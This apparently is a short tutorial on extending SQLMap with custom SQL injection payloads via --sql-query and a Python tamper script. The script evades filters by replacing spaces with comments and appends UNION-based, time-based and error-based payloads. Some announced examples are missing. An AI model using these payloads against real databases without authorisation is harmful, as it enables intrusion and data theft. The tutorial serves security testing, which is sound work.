SQLMap allows you to specify your own SQL queries using the `--sql-query option`. This is particularly useful when you want to inject specific payloads to test for SQL injection vulnerabilities.
You can add custom payloads directly within the SQLMap syntax using the --sql-query option or by customizing the payloads through tamper scripts. Below, I will show you how to add custom payloads directly using SQLMap as well as through tamper scripts.
Adding Custom Payloads Directly in SQLMap
SQLMap allows you to specify your own SQL queries using the --sql-query option. This is particularly useful when you want to inject specific payloads to test for SQL injection.
If you need more flexibility and want to systematically apply custom payloads, you can create a tamper script that modifies the default payloads used by SQLMap.
Example: Custom Tamper Script
Create a Custom Tamper Script
Create a new Python file in the tamper directory of your SQLMap installation, for example, custom_payload_tamper.py.
Save this script in the tamper directory of SQLMap.
Use the Tamper Script with SQLMap
Run SQLMap with your custom tamper script to apply your modifications to the payloads.
Advanced Example with Multiple Payloads
You can combine multiple payloads and tamper scripts to create more complex injection tests. Below is an advanced example where custom payloads are systematically applied to the requests.
Example: Combining Multiple Techniques
Create a Complex Tamper Script
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload):
"""
Custom tamper script to apply multiple custom payloads
"""
if payload:
payload = payload.replace(" ", "/**/")
if "UNION" in payload.upper():
payload += " UNION SELECT null, user(), database(), version() --"
if "AND" in payload.upper():
payload += " AND IF(1=1, SLEEP(5), 0) --"
if "OR" in payload.upper():
payload += " OR (SELECT 1/0 FROM dual) --"
return payload
Save and Use the Script
Save this script as complex_tamper.py in the tamper directory.